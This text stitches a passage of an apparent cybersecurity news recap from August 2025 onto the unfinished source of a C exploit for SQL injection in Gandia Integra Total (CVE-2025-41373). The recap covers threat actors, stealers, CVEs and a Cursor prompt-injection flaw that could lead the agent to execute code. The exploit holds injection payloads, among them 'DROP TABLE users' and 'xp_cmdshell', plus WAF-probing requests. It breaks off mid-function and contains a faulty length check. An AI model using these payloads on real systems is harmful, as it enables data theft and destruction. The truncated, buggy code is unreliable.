reflect the true organizational structure of the attackers. The fact that the threat actors have been attributed to three different companies shows that multiple companies may be working in tandem to conduct the intrusions and those companies may be providing their tools to other actors, leading to incomplete or misleading attribution. It's currently not known how the threat actors came to possess the Microsoft Exchange Server flaws that were used to target various entities in a widespread campaign in early 2021. But their close relationship with the Shanghai State Security Bureau (SSSB) has raised the possibility that the bureau may have obtained access to information about the zero-days through some evidence collection method and passed it on to the attackers. The discovery also highlights another important aspect: China-based Advanced Persistent Threats (APTs) may actually consist of different companies that serve many clients owing to the contracting ecosystem, which forces these companies to collaborate on intrusions. In June 2025, Recorded Future revealed that a Chinese state-owned defense research institute filed a patent in late December 2024 that analyzes various kinds of intelligence, including OSINT, HUMINT, SIGINT, GEOINT, and TECHINT, to train a military-specific large language model in order to "support every phase of the intelligence cycle and improve decision-making during military operations." Likely 0-Day SonicWall SSL VPN Flaw Used in Akira Ransomware Attacks — SonicWall SSL VPN devices have become the target of Akira ransomware attacks as part of a newfound surge in activity observed in late July 2025. Arctic Wolf Labs said that the attacks could be exploiting an as-yet-undetermined security flaw in the appliances, meaning a zero-day vulnerability, given that some of the incidents affected fully-patched SonicWall devices. However, the possibility of credential-based attacks for initial access hasn't been ruled out. The development came as watchTowr Labs detailed multiple vulnerabilities in SonicWall SMA 100 Series appliances (CVE-2025-40596, CVE-2025-40597, and CVE-2025-40598) that an attacker could exploit to cause denial-of-service or code execution. "We stumbled across vulnerabilities that feel like they were preserved in amber from a more naïve era of C programming," security researcher Sina Kheirkhah said. "While we understand (and agree) that these vulnerabilities are ultimately difficult - or in some cases, currently not exploitable – the fact that they exist at all is, frankly, disappointing. Pre-auth stack and heap overflows triggered by malformed HTTP headers aren't supposed to happen anymore." UNC2891 Breaches ATM Network via 4G Raspberry Pi in Cyber-Physical Attack — The threat actor known as UNC2891 has been observed targeting Automatic Teller Machine (ATM) infrastructure using a 4G-equipped Raspberry Pi as part of a covert attack. The cyber-physical attack involved the adversary leveraging their physical access to install the Raspberry Pi device and have it connected directly to the same network switch as the ATM, effectively placing it within the target bank's network. The end goal of the infection was to deploy the CAKETAP rootkit on the ATM switching server and facilitate fraudulent ATM cash withdrawals. UNC2891 is assessed to share tactical overlaps with another threat actor called UNC1945 (aka LightBasin), which was previously identified compromising managed service providers and striking targets within the financial and professional consulting industries. UNC1945 is also known for its attacks aimed at the telecom sector. Active Exploitation of Alone WordPress Theme Flaw — Threat actors are actively exploiting a critical security flaw in "Alone – Charity Multipurpose Non-profit WordPress Theme" to take over susceptible sites. The vulnerability, tracked as CVE-2025-5394 (CVSS score: 9.8), is an arbitrary file upload affecting all versions of the plugin prior to and including 7.8.3. It has been fixed in version 7.8.5 released on June 16, 2025. In the observed attacks, the flaw is averaged to upload a ZIP archive containing a PHP-based backdoor to execute remote commands and upload additional files. Alternatively, the flaw has also been weaponized to deliver fully-featured file managers and backdoors capable of creating rogue administrator accounts. Multiple Flaws Patched in AI Code Editor Cursor — Several security vulnerabilities have been addressed in Cursor, including one high-severity bug (CVE-2025-54135 aka CurXecute) that could result in remote code execution (RCE) when processing external content from a third-party model context protocol (MCP) server. "If chained with a separate prompt injection vulnerability, this could allow the writing of sensitive MCP files on the host by the agent," Cursor said. "This can then be used to directly execute code by adding it as a new MCP server." Also addressed in Cursor version 1.3 is CVE-2025-54136 (CVSS score of 7.2), which could have allowed attackers to swap harmless MCP configuration files for a malicious command, without triggering a warning. "If an attacker has write permissions on a user's active branches of a source repository that contains existing MCP servers the user has previously approved, or an attacker has arbitrary file-write locally, the attacker can achieve arbitrary code execution," the company said. ️🔥 Trending CVEs Hackers are quick to jump on newly discovered software flaws – sometimes within hours. Whether it’s a missed update or a hidden bug, even one unpatched CVE can open the door to serious damage. Below are this week’s high-risk vulnerabilities making waves. Review the list, patch fast, and stay a step ahead. This week's list includes — CVE-2025-7340, CVE-2025-7341, CVE-2025-7360 (HT Contact Form plugin), CVE-2025-54782 (@nestjs/devtools-integration), CVE-2025-54418 (CodeIgniter4), CVE‑2025‑4421, CVE‑2025‑4422, CVE‑2025‑4423, CVE‑2025‑4424, CVE‑2025‑4425, CVE‑2025‑4426 (Lenovo), CVE-2025-6982 (TP-Link Archer C50), CVE-2025-2297 (BeyondTrust Privilege Management for Windows), CVE-2025-5394 (Alone theme), CVE-2025-2523 (Honeywell Experion PKS), CVE-2025-54576 (OAuth2-Proxy), CVE-2025-46811 (SUSE), CVE-2025-6076, CVE-2025-6077, and CVE-2025-6078 (Partner Software). 📰 Around the Cyber World Critical RCE in @nestjs/devtools-integration — A critical remote code execution flaw (CVE-2025-54782, CVSS score: 9.4) has been uncovered in @nestjs/devtools-integration, a NestJS npm package downloaded over 56,000 times per week. The package sets up a local development server with an endpoint that executes arbitrary code inside a JavaScript "sandbox" built with node:vm module and the now-abandoned safe-eval, ultimately allowing for execution of untrusted user code in a sandboxed environment, Socket said. Further analysis has found that the sandbox is trivially escapable and because the server is accessible on localhost, any malicious website can trigger code execution on a developer's machine via CSRF using the inspector/graph/interact endpoint. "Due to improper sandboxing and missing cross-origin protections, any malicious website visited by a developer can execute arbitrary code on their local machine," Nestjs maintainer Kamil Mysliwiec said in an advisory. "By chaining these issues, a malicious website can trigger the vulnerable endpoint and achieve arbitrary code execution on a developer's machine running the NestJS devtools integration." Attackers Exploit Compromised Email Accounts for Attacks — Threat actors are increasingly using compromised internal or trusted business partner email accounts to send malicious emails to obtain initial access. "Using a legitimate trusted account affords an attacker numerous advantages, such as potentially bypassing an organization's security controls as well as appearing more trustworthy to the recipient," Talos said. The disclosure comes as bad actors are also continuing to exploit Microsoft 365's Direct Send feature to deliver phishing emails that appear to originate from within the organization by using a spoofed internal From address and increases the likelihood of success of social engineering attacks. The messages are injected into Microsoft 365 tenants via unsecured third-party email security appliances used as SMTP relays. "This tactic allows attackers to send malicious payloads to Microsoft 365 users with increased credibility, often resulting in successful delivery despite failed authentication checks," Proofpoint said. Signal Warns it Will Exit Australia Over Encryption Backdoor Push — Signal Foundation president Meredith Whittaker said the secure messaging application will leave Australia if the government forces it to incorporate a backdoor into its encryption algorithm or demand access to encrypted user data. Earlier this year, the U.K. government issued a secret order demanding that Apple allow it access to encrypted user data to assist in investigations, resulting in Apple removing its Advanced Data Protection (ADP) feature for users in the region. While the U.K. government appears to be backing down from its earlier demand, Google told TechCrunch that, unlike Apple, it did not receive any request from the U.K. to build a secret backdoor. This is the first time Google has formally commented on the matter. Google Hardens Chrome Extension Supply Chain Against Account Compromise — Google has rolled out a new security feature called Verified CRX Upload for Chrome extension developers that enforces cryptographic signatures for all Chrome extension updates and prevents bad actors from compromising developer accounts and publishing malicious updates to the Chrome Web Store (CWS). The security protection is also designed to address scenarios where CWS code reviews may not always flag such malicious attacks. "When opting an extension into Verified CRX Upload, the developer gives Google a public key. After that, the developer can no longer upload unsigned ZIP files for that extension and must instead upload a CRX file signed with the corresponding private key," Google said [PDF]. "Verified upload acts as a second factor for the act of uploading to CWS. A malicious actor who compromises a developer's account password, session cookies, or even an OAuth token, would not be able to upload a malicious update unless they also gain access to the developer's private signing key." Kimsuky Targets South Korea with Stealer Malware — The North Korea-linked Kimsuky hacking group has been linked to a spear-phishing campaign that targets South Korean entities using Windows shortcut (LNK) files as an initial access vector to trigger a multi-stage infection chain to deploy a keylogger, information stealer, establish persistent control over compromised hosts, and deliver unknown next-stage payloads. In parallel, users are displayed with lure PDF documents related to tax notices and government alerts about alleged sex offenders in the area. "Once inside, the malware performs extensive system profiling, steals credentials and sensitive documents, monitors user activity through keylogging and clipboard capture, and exfiltrates data in discreet segments over standard web traffic—helping it blend into normal network operations," Aryaka said. Apple macOS Flaw Can Bypass TCC — Attackers could have used a recently patched macOS vulnerability to bypass Transparency, Consent, and Control (TCC) security checks and steal sensitive user information from locations such as the Downloads directory and Apple Intelligence caches. The flaw, dubbed Sploitlight by Microsoft and tracked as CVE-2025-31199, was addressed by Apple with the release of macOS Sequoia 15.4 in March 2025. The attack is so named because it exploits Spotlight plugins called importers, which are used to index data found on a device and surface it via its built-in search tool. Sploitlight turns these plugins into a TCC bypass, allowing valuable data to be leaked without a user's consent. Improved Version of XWorm Spotted — A new version of a remote access trojan called XWorm (version 6.0) has been discovered with new features such as process protection and enhanced anti-analysis capabilities, indicating continued attempts by the developers to iterate and refine their tactics. The starting point of the attack is a Visual Basic Script that's likely delivered to targets via social engineering, which then proceeds to set up persistence on the host via Windows Registry (as opposed to scheduled tasks in the previous version), although it's important to note that the builder offers three different methods, including the aforementioned techniques and the adding the payload to the Startup folder. It's also designed to run a PowerShell script that includes the ability to bypass Antimalware Scan Interface (AMSI) via in-memory modification of "clr.dll" to sidestep detection. Some of the new features observed in the latest version of XWorm are its ability to prevent process termination by marking itself as a critical process and killing itself if the compromised host is running Windows XP. Mozilla Warns Add-ons Devs Against Phishing Attack — Browser maker Mozilla is warning of a phishing campaign targeting its Firefox Add-ons infrastructure that aims to trick developers into parting with their account credentials as part of emails containing messages like "Your Mozilla Add-ons account requires an update to continue accessing developer features" that are designed to provoke engagement. The disclosure follows the emergence of bogus Firefox add-ons that masquerade as TronLink, Solflare, Rabby Wallet and are designed to steal cryptocurrency wallet secrets, security researcher Lukasz Olejnik said. New Stealer Malware Dissected — Cybersecurity researchers have detailed three new stealer malware families called Cyber Stealer, Raven Stealer, and SHUYAL Stealer that combine extensive credential theft capabilities with advanced system reconnaissance and evasion tactics. "Beyond credential theft, SHUYAL captures system screenshots and clipboard content, exfiltrating this data alongside stolen Discord tokens through a Telegram bot infrastructure," Hybrid Analysis said. "The malware maintains operational stealth through self-deletion mechanisms, removing traces of its activity using a batch file after completing its primary functions." Cyber Stealer, for its part, maintains communication with its command-and-control (C2) server through heartbeat checks, XMR miner configuration, task checks, and data exfiltration. It also comes with a clipper, remote shell, reverse proxy, DDoS, XMR mining, and DNS poisoning capabilities based on the subscription tier chosen by a customer. "The C2 URL can be dynamically updated through Pastebin, with a hardcoded backup URL if that fails," eSentire said. While there are a number of stealers on the cybercrime scene already, the emergence of new stealers demonstrates the lucrative nature of such tools to enable data theft at scale. The third new infostealer malware is Raven Stealer, which is actively distributed through GitHub repositories and promoted via a Telegram channel operated by the threat actors. The stealer is consistent with other stealers, facilitating credential theft, browser data harvesting, and real-time data exfiltration via Telegram bot integration. NOVABLIGHT Node.js Stealer Spotted in the Wild — Developed and sold by the Sordeal Group, a threat actor demonstrating French-language proficiency, NOVABLIGHT is marketed as an "educational tool" on platforms like Telegram and Discord from €25 for a month to €140 for six months ($28 to $162). However, this aspect masks its true intent: A modular, feature-rich NodeJS-based malware built on the Electron framework, designed to steal sensitive information, including login credentials and cryptocurrency wallet data. The malware is said to be distributed via fake websites advertising video game installers. "NOVABLIGHT is a modular and feature-rich information stealer built on Node.js with the Electron framework," Elastic Security Labs said. "Its capabilities go beyond simple credential theft, incorporating methods for data collection and exfiltration, sandbox detection, and heavy obfuscation." $3.5B LuBian Bitcoin Theft Goes Undetected for Nearly Five Years — A previously undisclosed theft of 127,426 Bitcoin, valued at $3.5 billion at the time (presently approximately $14.5 billion), has been traced back to a December 2020 attack on a little-known Chinese mining pool called LuBian, making it as the largest cryptocurrency theft to date, surpassing the $1.5 billion Bybit hack that occurred in February 2025. "They appear to have been first hacked on December 28th, 2020, for over 90% of their BTC," Arkham Intelligence said. "Subsequently, on December 29th, around $6M of additional BTC and USDT was stolen from a Lubian address active on the Bitcoin Omni layer. On the 31st, LuBian rotated their remaining funds to recovery wallets." It's believed that the unknown attackers may have exploited a flawed private key generation algorithm that left it susceptible to brute-force attacks. "LuBian preserved 11,886 BTC, currently worth $1.35B, which they still hold," Arkham said. "The hacker also still holds the stolen BTC, with their last known movement being a wallet consolidation in July 2024." Neither LuBian nor the suspected hacker has ever publicly acknowledged the breach. Russia Blocks Access to Speedtest — Russia blocked access to Speedtest, a popular internet speed testing tool developed by U.S. company Ookla, claiming the service poses a national security threat and could aid cyber attacks. The restriction is due to the "identified threats to the security of the public communication network and the Russian segment of the internet," Roskomnadzor, country's communications watchdog, said, adding it "collects data on the layout and capacity of Russian communications nodes" that could be used to "plan, conduct, and assess attacks on Russian networks and related systems." CISA Releases Thorium — The U.S. Cybersecurity and Infrastructure Security Agency (CISA) announced the public availability of Thorium, an open-source platform for malware and forensic analysts across the government, public, and private sectors. "Thorium enhances cybersecurity teams' capabilities by automating analysis workflows through seamless integration of commercial, open-source, and custom tools," CISA said. "It supports various mission functions, including software analysis, digital forensics, and incident response, allowing analysts to efficiently assess complex malware threats." The agency has also released the Eviction Strategies Tool, which helps security teams during the incident response by providing the necessary actions to contain and evict adversaries from compromised networks and devices. Russian Entities Targeted to Deploy Cobalt Strike — The Russian information technology (IT) sector, and to a certain extent companies in China, Japan, Malaysia, and Peru, has been at the receiving end of a spear-phishing email campaign that delivers the Cobalt Strike Beacon by means of intermediate payloads that reach out to fake profiles on social media platforms to obtain the URL hosting the post-exploitation toolkit. The accounts, created on GitHub, Quora, and Russian-language social networks, are said to have been created specifically for the attacks and act as dead drop resolvers to facilitate operational resiliency. The activity was first recorded in the second half of 2024, reaching its peak in November and December. The campaign has not been attributed to any known threat actor or group. APT36 Targets Indian Railways, Oil & Gas Sectors — A suspected Pakistani threat actor known as APT36 (aka Transparent Tribe) has been attributed to attacks targeting Indian railway systems, oil and gas infrastructure, and the Ministry of External Affairs via spear-phishing attacks to deliver a known malware called Poseidon. "They use .desktop files disguised as PDF documents to execute scripts that download malware and establish persistence using cron jobs," Hunt.io said. "The Poseidon backdoor, built on the Mythic framework and written in Go, is used to maintain access and support lateral movement." Qilin Ransomware Attack Leverages BYOVD Technique — Threat actors associated with Qilin ransomware have been observed leveraging a previously unknown driver, TPwSav.sys, to stealthily disable security tools using a custom version of EDRSandblast as part of a Bring Your Own Vulnerable Driver (BYOVD) attack. "This driver, originally developed for power-saving features on Toshiba laptops, is a signed Windows kernel driver, making it an attractive choice for bypassing EDR protections through a BYOVD attack," Blackpoint Cyber said. Prior to this incident, there has been no evidence of in-the-wild exploitation of the driver. "Compiled in 2015 and holding a valid signature, this driver is an appealing candidate for BYOVD attacks aimed at disabling EDR. While interacting with the driver requires only low-level privileges, loading it and enumerating physical memory demand administrative privileges," the company added. Phishing Campaign Distributes 0bj3ctivity Stealer — Phishing emails bearing purchase order-lures are being used to distribute via JavaScript files a stealer called 0bj3ctivity Stealer, which has been propagated via Ande Loader in the past. "The further stages are uncommon, including custom PowerShell scripts to deploy the next stages and steganography to hide some of the payloads," Trellix said. "Once decoded, the PowerShell script will download from archive.org a JPG image, which contains the next stage hidden using steganography." The United States, Germany, and Montenegro exhibit a high volume of detections, although telemetry data has also revealed noticeable activity in Europe, North America, Southeast Asia, and Australia, indicating the global nature of the threat. Increasing Number of Flaws Leveraged as 0- or 1-Days — A third of flaws leveraged by attackers this year have been zero-day or 1-day flaws, indicating that threat actors are becoming faster at exploiting vulnerabilities. "We observed an 8.5% increase in the percentage of KEVs [Known Exploited Vulnerabilities] that had exploitation evidence disclosed on or before the day a CVE was published — 32.1% in H1-2025 as compared to the 23.6% we reported in 2024," VulnCheck said. In total, the company added 432 new vulnerabilities to its KEV list in the first half of 2025, with 92 unique threat actors linked to the exploitation efforts. Of these, 56 (60.8%) were attributed to specific countries, including China (20), Russia (11), North Korea (9), and Iran (6). In a related development, a GreyNoise report found that in 80% of reconnaissance spikes against enterprise gear, the increase in activity was followed by the publication of a new CVE within six weeks, suggesting threat actors or researchers are testing their exploits ahead of time. "These patterns were exclusive to enterprise edge technologies like VPNs, firewalls, and remote access tools – the same kinds of systems increasingly targeted by advanced threat actors," the threat intelligence firm said. BreachForums Comes Back Online — BreachForums appears to be back again after it went offline in April. The popular cybercrime forum was shut down and resurrected several times over the past year. According to DataBreaches.Net, the official site appears to be back online on its dark web address, while preserving the original user database, reputation, credits, and posts. What's more, the site seems to have returned under new leadership – a user with the online moniker "N/A." In an introductory post, N/A also claimed that none of its administrators have been arrested and that it's "business as usual." RedCurl's New Attacks Deliver RedLoader — The threat actor known as Gold Blade (aka Earth Kapre, RedCurl, and Red Wolf) has been linked to a new set of attacks in July 2025 that combine malicious LNK files and WebDAV to execute remotely hosted DLLs to ultimately launch RedLoader using DLL side-loading. The LNK files, disguised as cover letters in the PDF format, are distributed via phishing emails via third-party job search sites like Indeed. Mimo Exploits SharePoint Flaws to Deliver Ransomware — The threat actor known as Mimo is exploiting the recently disclosed Microsoft SharePoint flaws to deliver the Go-based 4L4MD4r ransomware. The hacking group was recently linked to the abuse of a critical Craft CMS flaw to drop miners. The development marks the first time the hacking group has deployed ransomware in the wild. Silver Fox APT Uses Fake Flash Plugin to Deliver Malware — The threat actor tracked as Silver Fox has been observed delivering the Winos trojan under the guise of popular tools like Adobe Flash, Google Translate, and WPS. Typical distribution vectors include email, phishing websites, and instant messaging software. "However, with the leakage of core remote control Trojan source code (such as Winos 4.0) in the cybercrime circle, Silver Fox has gradually transformed from a single organization into a malicious family widely redeveloped by cybercrime groups and even APT organizations," the Knownsec 404 team said. "Winos has a rich set of functional plug-ins that enable various remote control functions and data theft on the target host." Girona Hacker Arrested — Spanish authorities have apprehended a cybercriminal who allegedly stole sensitive data from major financial institutions, educational organizations, and private companies across the country. The accused, described as a man with advanced computer programming skills, stands accused of targeting Spanish banks, a driving school, and a public university, among others. The suspect is alleged to have stolen personal databases of employees and customers, as well as internal documents of companies and organizations, and then sold them for profit. ShadowSyndicate Infrastructure Analyzed — Cybersecurity researchers have found connections between ShadowSyndicate infrastructure and various malware families like AMOS Stealer, TrueBot, and a number of ransomware strains such as Cl0p, BlackCat, LockBit, Play, Royal, CACTUS, and RansomHub. Aside from having access to a network of bulletproof hosters (BPHs) in Europe, it's believed that ShadowSyndicate functions as an initial access broker (IAB) fueling Russian, North Korean, and Chinese APTs. "It remains unclear whether ShadowSyndicate has a structured business model with formal clients or partners in cybercrime, or whether it represents a more fluid, hybrid threat actor," Intrinsec said. Who is Lionishackers? — Threat hunters have ripped the cover off Lionishackers, a corporate database seller and a financially motivated threat actor focused on exfiltrating and selling corporate databases through Telegram and underground forums since July 2024. "Even though they seem to have an opportunistic approach when choosing their targets, there seems to be a certain preference for victims located in Asian countries," Outpost24 said. "They have shown a high level of collaboration with the 'Hunt3r Kill3rs' group and extensive participation in relevant underground communities' Telegram channels. Furthermore, they also worked on and offered other services such as pen testing, the commercialization of the Ghost botnet, and the launch of a forum project dubbed Stressed Forums." EdskManager RAT, Pulsar RAT, and Retro-C2 RAT Exposed — Three new remote access trojans called EdskManager RAT, Pulsar RAT, and Retro-C2 RAT have been flagged by cybersecurity researchers, flagging their ability to evade detection and maintain control over compromised systems. "The malware employs a downloader disguised as legitimate software, followed by in-memory decryption and stealth communication with command-and-control servers," CYFIRMA said about EdskManager RAT. "Its use of HVNC (Hidden Virtual Network Computing), advanced persistence techniques, and anti-analysis measures indicates a strong focus on long-term, covert access to infected systems." Pulsar RAT, on the other hand, is an Android trojan that exploits accessibility services to gain near-total control of the device, accessing messages, calls, GPS data, the camera, microphone, and other sensitive data. Developed by a Turkish-speaking threat actor known as ZeroTrace, Retro-C2 RAT employs reflective loading techniques to evade detection and siphon data from compromised machines. "The command-and-control infrastructure is fully web-based and provides threat actors with real-time client monitoring, action management such as CMD, PowerShell, Remote Desktop, keylogging, clipboard capture, file and process management, registry and network operations, audio recording, wallet scanning, persistence operations, and credential recovery," ThreatMon said. Apple to Enable Advanced Fingerprinting Protection for All Safari Browsing Sessions — Apple has revealed that it intends to make advanced fingerprinting protection the default for all browsing sessions in Safari with the release of iOS 26, iPadOS 26, and macOS 26 in September 2025. Currently, the option is limited to Private Browsing mode. The feature was first introduced in Safari 17.0. Security Flaw Uncovered in Catwatchful Spyware — An SQL injection vulnerability in an Android stalkerware operation called Catwatchful has exposed more than 62,000 of its customers, including its Uruguay-based administrator, Omar Soca Charcov. The bug, discovered by researcher Eric Daigle, could be exploited to leak the application's database, compromising customers' email addresses and plaintext passwords. Google has since added protections to flag such malicious apps and suspended the developer's Firebase account for abusing its infrastructure to operate the monitoring software. Ransomware Continues to be a Threat — DragonForce has claimed more than 250 victims on its dark web leak site, with 58 in the second quarter of 2025 alone, indicating that the ransomware cartel is gaining traction after purportedly absorbing RansomHub. Some of the groups that appear to have exited the scene include RansomHub, Babuk-Bjorka, FunkSec, BianLian, 8Base, Cactus, and Hunters International. "With major RaaS services shutting down, many affiliates are operating independently or seeking new partnerships," Check Point said. "The result is a growing number of smaller, often short-lived, ransomware entities. At the same time, established players are actively competing to recruit these 'orphaned' affiliates." Ransomware attacks have also been observed evolving beyond double extortion to coerce victims into paying up with threats of data leaks and DDoS attacks. "Double, triple, and quadruple extortion tactics add pressure by threatening to expose customer information, disrupting operations with distributed denial-of-service (DDoS) attacks, and sending harassing messages to business partners, customers, and others -- including informing media of the breach," Akamai said. Threat Actors Hide Malware in DNS Records — While it's known that threat actors have leveraged the Domain Name System (DNS) for command-and-control purposes using a technique called DNS tunneling, it has been observed that cybercriminals are evolving their tactics further by concealing malicious commands in DNS TXT records by converting them into their hexadecimal representation and storing them in chunks. The practice is both clever and sneaky as it allows malicious scripts and early-stage malware to fetch binary files without having to download them from attacker-controlled sites or attach them to emails, which have a higher chance of being detected by antivirus software. 🎥 Cybersecurity Webinars Malicious Python Packages Are Everywhere — Learn How to Spot and Stop Them: In 2025, attacks on the Python ecosystem are rising fast—from typosquatting to dangerous container image flaws. If you're still “pip installing and praying,” it’s time to level up. Join us for a hands-on webinar where we break down real supply chain threats and show you how to defend your code with practical tools, smarter workflows, and hardened images. No hype—just clear steps to secure your Python stack. Secure Your AI Stack: Learn How to Defend Identity Before It’s Too Late: AI is changing the way we work—and the way we get attacked. Join Okta’s Karl Henrik Smith to explore how identity is becoming the last, and most critical, line of defense against AI-powered threats. From deepfakes to autonomous agents, attackers are moving faster than traditional tools can handle. In this free webinar, you’ll learn why identity-first security is the key to staying ahead—and how to put it into action. 🔧 Cybersecurity Tools Thorium: Released by the U.S. CISA, this new open-source tool is a scalable platform for automating file analysis and aggregating results across diverse tools. It helps cybersecurity teams streamline malware triage, forensics, and tool testing by integrating with existing workflows through event-driven automation and a scalable infrastructure. LangExtract: It is an open-source Python library, developed by Google, that helps developers extract structured information from unstructured text using Gemini and other LLMs. It’s designed for tasks like parsing medical records, legal documents, or customer feedback by combining prompt-driven extraction, source-grounded outputs, and schema enforcement. LangExtract supports flexible backends, scales across long documents, and makes it easy to visualize and verify results—all without fine-tuning a model. Disclaimer: These newly released tools are for educational use only and haven’t been fully audited. Use at your own risk—review the code, test safely, and apply proper safeguards. 🔒 Tip of the Week Your Keyboard Could Be Spying on You — Here's How to Tell — Most people don’t realize it, but your smartphone keyboard can do more than just type. Some of them quietly connect to the internet, sending back what you type, when you type, and even what’s in your clipboard. Even trusted apps like Gboard and SwiftKey have cloud sync features that share your typing patterns. And in worse cases, rogue keyboards can log passwords or steal crypto wallet seeds without any visible signs. The fix isn't just “don’t use shady keyboards.” It’s knowing how to control what they can do. Start by using a firewall app like NetGuard or RethinkDNS to block your keyboard from sending data over the internet. Go into your keyboard’s settings and turn off “personalization” or sync features. Watch out for weird behavior like a keyboard asking for access to your mic, contacts, or location — those are red flags. On newer Android versions, clipboard alerts will warn you if a keyboard is snooping. If you want full peace of mind, switch to a keyboard that respects your privacy by design. Options like OpenBoard or Simple Keyboard have no internet access at all. They’re fast, clean, and open source — meaning their code can be audited for hidden behavior. In short: if your keyboard wants to "learn from you," make sure it’s not learning too much. Conclusion Every threat we covered this week tells the same story: attackers are evolving faster because they’re learning from us. From how we code to how we trust, they’re watching closely. But the flipside? So are we. The more we share, the faster we adapt. Keep pushing, keep questioning, and never let “normal” make you comfortable.
thehackernews.comAug 4, 2025extracted
[webapps] Gandia Integra Total 4.4.2236.1 - SQL Injection
/* * Author : Byte Reaper * CVE : CVE-2025-41373 * Vulnerability : SQL * Affected Path : /encuestas/integraweb_v4/integra/html/view/hislistadoacciones.php?idestudio= * Affected Versions : 2.1.2217.3 to v4.4.2236.1 * Description: * This endpoint concatenates the idestudio parameter directly into an SQL query * without proper sanitization or parameterization, allowing an attacker to inject * arbitrary SQL. We leverage both boolean-based and time-based techniques to detect. */ #include #include #include #include "argparse.h" #include #include #include #define FULL_URL 4300 int verbose = 0; int useC = 0; const char *url = NULL; const char *cookies = NULL; void sleepSyscall(void) { struct timespec sleepR; sleepR.tv_sec = 1; sleepR.tv_nsec = 0; asm volatile ( "mov $35, %%rax\n\t" "mov %0, %%rdi\n\t" "xor %%rsi, %%rsi\n\t" "syscall\n\t" : : "r" (&sleepR) : "rax", "rdi", "rsi", "rcx", "r11", "memory" ); } void exitAssembly(void ) { asm volatile ( "xor %%rdi, %%rdi\n\t" "mov $0x3C, %%rax\n\t" "syscall\n\t" : : : "rax", "rdi" ); } void uid(void) { const char *mes1 = "\e[1;36m[+] Run Exploit Root Successfully\e[0m\n"; size_t len1 = strlen(mes1); const char *mes2 = "\e[1;31m[-] Please Run Exploit In Root, Exit...\e[0m\n"; size_t len2 = strlen(mes2); asm volatile( "mov $107, %%rax\n\t" "syscall\n\t" "cmp $0, %%rax\n\t" "JZ .root\n\t" "jmp .not_root\n\t" ".root:\n\t" "mov $1, %%rax\n\t" "mov $1, %%rdi\n\t" "mov %[mes1], %%rsi\n\t" "mov %[len1], %%rdx\n\t" "syscall\n\t" "jmp .end\n\t" ".not_root:\n\t" "mov $1, %%rax\n\t" "mov $1, %%rdi\n\t" "mov %[mes2], %%rsi\n\t" "mov %[len2], %%rdx\n\t" "syscall\n\t" ".end:\n\t" : : [mes1] "r" (mes1), [len1] "r" (len1), [mes2] "r" (mes2), [len2] "r" (len2) : "rax", "rdi", "rsi", "rdx", "rcx", "r11", "memory" ); } const char *payload[] = { "' OR '1'='1", "\" OR \"1\"=\"1", "' OR 1=1 --", "\" OR 1=1 --", "' OR '1'='1' --", "' OR 1=1#", "' OR 1=1/*", "admin'--", "admin' #", "admin'/*", "' OR 1=1-- -", "' OR/**/1=1--", "'//OR//1=1#", "' OR%%201=1--", "' OR%%091=1--", "' OR%0a1=1--", "' OR%%0b1=1--", "' oR 1=1--", "' Or 1=1--", "' oR/**/1=1--", "' OR 0x31=0x31--", "1; DROP TABLE users --", "1; EXEC xp_cmdshell('dir') --", "UNION SELECT NULL,NULL,NULL --", "UNION SELECT username,password FROM users --", "' UNION SELECT NULL,NULL,NULL --", "' UNION SELECT NULL,NULL,NULL#", ",(select * from (select(sleep(4)))a)", "';WAITFOR DELAY '0:0:4'--", NULL }; const char *word[] = { "SQL syntax", "syntax error", "mysql_fetch", "mysql_num_rows", "You have an error in your SQL syntax", "Warning: mysql", "Warning: pg_", "Unclosed quotation mark", "Microsoft OLE DB Provider for SQL Server", "Microsoft SQL Native Client error", "ODBC SQL Server Driver", "ORA-01756", "ORA-00933", "SQLSTATE", "PDOException", "invalid query", "mysql_numrows()", "mysql_result()", "mysql_query()", "Query failed", "Syntax error", "DB error", "error in your SQL syntax", "Unexpected end of SQL command", "Incorrect syntax near", "user", "admin", NULL }; struct Mem { char *buffer; size_t len; }; size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata) { size_t total = size * nmemb; struct Mem *m = (struct Mem *)userdata; char *tmp = realloc(m->buffer, m->len + total + 1); if (tmp == NULL) { printf("\e[1;31m[-] Failed to allocate memory!\e[0m\n"); exitAssembly(); } m->buffer = tmp; memcpy(&(m->buffer[m->len]), ptr, total); m->len += total; m->buffer[m->len] = '\0'; return total; } void clean(char *buffer, size_t len, CURL *curl,char *encode ) { free(buffer); buffer = NULL; len = 0; curl_easy_cleanup(curl); curl_free(encode); } int waf = 0; int wafD(const char *urlW) { CURL *curl = curl_easy_init(); CURLcode res; struct Mem wafServer; wafServer.buffer= NULL; wafServer.len = 0; const char *payloadSql = "OR 1=1 --"; char *encode = curl_easy_escape(curl, payloadSql, strlen(payloadSql)); char full[FULL_URL]; if (!encode) { printf("\e[1;31m[-] Error Encode Payload !\e[0m\n"); clean(wafServer.buffer, wafServer.len, curl, encode); exitAssembly(); } int len = snprintf(full, sizeof(full), "%s/encuestas/integraweb_v4/integra/html/view/hislistadoacciones.php?idestudio=%s", urlW, encode); if (len = sizeof(full)) { printf("\e[1;31m[-] FULL URL Is Long \n"); clean(wafServer.buffer, wafServer.len,curl,encode); exitAssembly(); } if (curl == NULL || !curl) { printf("\e[1;31m[-] Error Create Object CURL !\e[0m\n"); clean(wafServer.buffer, wafServer.len, curl, encode); exitAssembly(); } int result = 0; if (curl) { printf("\e[1;35m===========================================================================================\e[0m\n"); printf("\e[1;35m[+] Scan WAF Start...\e[0m\n"); printf("\e[1;37m[+] FULL URL : %s\e[0m\n", full); curl_easy_setopt(curl, CURLOPT_URL, full); curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); if (verbose) { printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n"); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } curl_easy_setopt(curl, CURLOPT_WRITEDATA, &wafServer); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); sleepSyscall(); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); struct curl_slist *h = NULL; h = curl_slist_append(h, "User-Agent: sqlmap"); h = curl_slist_append(h, "Accept-Encoding: gzip, deflate, br"); h = curl_slist_append(h, "Accept-Language: en-US,en;q=0.5"); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, h); res = curl_easy_perform(curl); curl_slist_free_all(h); double timeWaf = 0; if (res == 